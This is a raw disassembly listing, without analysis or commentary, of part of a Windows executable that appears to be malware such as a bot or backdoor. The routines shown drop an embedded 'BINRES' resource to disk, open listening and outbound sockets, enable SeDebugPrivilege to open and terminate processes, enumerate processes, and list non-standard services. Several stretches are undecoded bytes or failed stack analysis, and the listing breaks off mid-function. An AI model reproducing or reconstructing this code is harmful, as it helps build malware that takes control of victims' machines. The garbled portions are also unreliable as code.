======================================= sub_41FBD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E068 mov eax, esi pop esi retn sub_41FBD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FC00 proc near ; CODE XREF: sub_401CDFj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50BB68, ecx push 100h mov ecx, offset byte_44794F call sub_4017E4 push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401956 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax call near ptr 28F0000h nop xor eax, eax add esp, 110h retn sub_41FC00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: ___:00401C30j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FCA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCA2: ; CODE XREF: ___:0041FC9Aj mov ecx, [esp+18h] push ecx nop call near ptr 2890000h mov esi, eax test esi, esi jnz short loc_41FCB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: ___:0041FCB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 278060Fh mov edi, eax test edi, edi jnz short loc_41FCDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: ___:0041FCD4j push ebp push edi push esi call near ptr 2790000h nop push edi push esi mov ebp, eax nop call near ptr 27903D1h push ebp mov esi, eax call near ptr 27906BCh nop push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx call near ptr 77C40AB1h nop add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD50 proc near ; CODE XREF: sub_40187Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41FD78 push esi call near ptr 71AB4FD4h nop test eax, eax jnz short loc_41FD71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FD71: ; CODE XREF: sub_41FD50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FD78: ; CODE XREF: sub_41FD50+Fj pop esi retn sub_41FD50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_401A8Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FDAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FDAE: ; CODE XREF: sub_41FD90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40187F add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FE0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE0A: ; CODE XREF: sub_41FD90+69j mov eax, esi pop esi add esp, 10h retn sub_41FD90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40197Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FE6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE6E: ; CODE XREF: sub_41FE50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FEC0 push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF24 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF27 loc_41FF24: ; CODE XREF: sub_41FEF0+14j or eax, 0FFFFFFFFh loc_41FF27: ; CODE XREF: sub_41FEF0+32j pop esi add esp, 10h retn sub_41FEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41FF76 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF76 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF79 loc_41FF76: ; CODE XREF: sub_41FF40+8j ; sub_41FF40+1Aj or eax, 0FFFFFFFFh loc_41FF79: ; CODE XREF: sub_41FF40+34j pop edi pop esi retn sub_41FF40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41FF90 proc near ; CODE XREF: sub_4015FAj var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_436840 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_436FC0 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41FFC3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FF90+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42008D push ebx mov ebx, dword_50F874 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41FFE5: ; CODE XREF: sub_41FF90+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420077 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_436FBA ; --------------------------------------------------------------------------- test eax, eax jz short loc_420070 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_436FB4 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h dd 500D75C0h, 95E89056h, 0C6022DFFh, 1132444h ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FF90+A2j push esi nop call near ptr 2840000h loc_420077: ; CODE XREF: sub_41FF90+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_41FFE5 pop edi pop esi pop ebp pop ebx loc_42008D: ; CODE XREF: sub_41FF90+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_41FF90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200F0 proc near ; CODE XREF: sub_4019FBj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4200F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401861 push eax mov [esp+464h+var_4], 0 call sub_401E8D add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42026A lea ecx, [esp+460h+var_43C] call sub_401424 push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_401681 push eax push 80000002h nop call near ptr 29301EBh mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx call near ptr 28E0000h nop lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_50F9AC mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_443B04 ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 nop call near ptr 760976AFh lea ecx, [esp+4A4h+var_490] nop call near ptr 7608B84Ch push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE145CE8h, 0FFE850FFh, 90023C06h, 14244C8Dh dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42026A: ; CODE XREF: sub_4200F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4200F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401E8Dj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2900962h nop mov ebx, eax test ebx, ebx jnz short loc_420325 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420325: ; CODE XREF: sub_420300+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push ebx nop call near ptr 28A073Eh mov esi, eax test esi, esi jnz short loc_420350 push ebx call near ptr 2910000h nop pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420350: ; CODE XREF: sub_420300+3Fj push ebp push edi mov edi, dword_50F740 push esi call edi push esi call edi mov ebp, dword_50F73C lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_50F74C call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420300 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203D0 proc near ; CODE XREF: sub_4018A7j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h call near ptr 2770AADh nop push eax nop call near ptr 28C165Fh mov ebp, dword_50F718 mov edi, dword_50F8D8 test eax, eax jnz short loc_420420 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 2770AD5h push eax nop call near ptr 28C1CF4h test eax, eax jz short loc_42047F loc_420420: ; CODE XREF: sub_4203D0+36j cmp [esp+38h+var_28], esi jz short loc_420483 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28D0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420478 call near ptr 27B0836h nop cmp eax, 514h jnz short loc_420483 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42047D ; --------------------------------------------------------------------------- loc_420478: ; CODE XREF: sub_4203D0+92j mov edx, [esp+38h+var_28] push edx loc_42047D: ; CODE XREF: sub_4203D0+A6j call edi loc_42047F: ; CODE XREF: sub_4203D0+4Ej mov [esp+38h+var_28], esi loc_420483: ; CODE XREF: sub_4203D0+54j ; sub_4203D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h call near ptr 2780000h nop mov esi, eax test esi, esi jz short loc_4204A8 push 0 push esi nop call near ptr 2700000h push esi mov bl, 1 call edi loc_4204A8: ; CODE XREF: sub_4203D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4204C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4204C7: ; CODE XREF: sub_4203D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4203D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420530 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420530 push eax mov eax, 1130h mov large fs:0, esp call sub_436840 push esi push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 2890000h nop test eax, eax mov dword_50BB70, eax jnz short loc_42057C push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 27D0782h nop test eax, eax mov dword_50BB70, eax jz loc_4206FA loc_42057C: ; CODE XREF: sub_420530+32j mov esi, dword_50F8A0 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50BB74, eax mov eax, dword_50BB70 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50BB70 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50BB78, eax call esi mov ecx, dword_50BB74 mov dword_50BB7C, eax test ecx, ecx jz loc_4206FA mov edx, dword_50BB78 test edx, edx jz loc_4206FA test eax, eax jz loc_4206FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4206FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4206E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_50F874 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42063F: ; CODE XREF: sub_420530+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4206CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50BB78 test eax, eax jz short loc_4206C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50BB7C lea ecx, [esp+74h+var_54] call sub_401866 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015D7 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402167 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A6E loc_4206C6: ; CODE XREF: sub_420530+136j push esi nop call near ptr 2840000h loc_4206CD: ; CODE XREF: sub_420530+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42063F pop ebp pop ebx loc_4206E1: ; CODE XREF: sub_420530+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4206FA: ; CODE XREF: sub_420530+46j ; sub_420530+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207A0 proc near ; CODE XREF: sub_401866j push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_4207A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4207C0 proc near ; CODE XREF: sub_401A6Ej jmp sub_401226 sub_4207C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207E0 proc near ; CODE XREF: sub_402144j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4207E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 2900962h mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42082F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42082F: ; CODE XREF: sub_4207E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44433C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset aNla ; "Nla" mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_401424 lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_50F710 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx call near ptr 77C2C407h nop add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420B8F mov ebp, dword_50F75C loc_420A6B: ; CODE XREF: sub_4207E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420A97 lea esi, [esp+524h+var_4E0] loc_420A78: ; CODE XREF: sub_4207E0+2B5j mov ecx, [edi] push ecx push eax call near ptr 77C4624Eh nop add esp, 8 test eax, eax jz loc_420B73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420A78 loc_420A97: ; CODE XREF: sub_4207E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_401681 push eax push 80000002h call ebp cmp eax, ebx jz short loc_420AE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420AE3: ; CODE XREF: sub_4207E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax call near ptr 28E0000h nop cmp eax, ebx jz short loc_420B1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1D: ; CODE XREF: sub_4207E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420B3A: ; CODE XREF: sub_4207E0+301j ; sub_4207E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014C9 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420B73: ; CODE XREF: sub_4207E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420A6B mov ebp, [esp+524h+var_4FC] loc_420B8F: ; CODE XREF: sub_4207E0+27Fj push ebp nop call near ptr 2910000h lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4207E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_4015EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 2890000h push eax nop call near ptr 288121Fh mov eax, esi pop esi retn sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: sub_401A28j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420D39 loc_420D22: ; CODE XREF: sub_420D00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420D22 